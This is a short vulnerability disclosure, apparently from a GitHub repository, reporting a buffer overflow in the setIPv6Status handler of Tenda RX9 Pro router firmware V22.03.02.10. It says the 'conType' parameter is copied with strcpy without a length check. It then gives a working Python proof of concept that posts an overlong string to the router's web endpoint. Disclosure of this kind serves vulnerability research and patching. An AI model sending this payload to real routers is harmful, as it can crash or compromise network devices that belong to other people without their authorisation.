Skip to content
Permalink
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

buffer overflow

Tenda_RX9_Pro

version: V22.03.02.10

Description:

There is a buffer overflow in httpd/setIPv6Status

Source:

you may download it from : https://www.tendacn.com/download/detail-4218.html

Analyse:

get value from conType and call strcpy, cause buff overflow

POC

url = "http://192.168.1.13/goform/setIPv6Status"
payload = 'A'*300 + '\n'

r = requests.post(url, data={'conType': payload})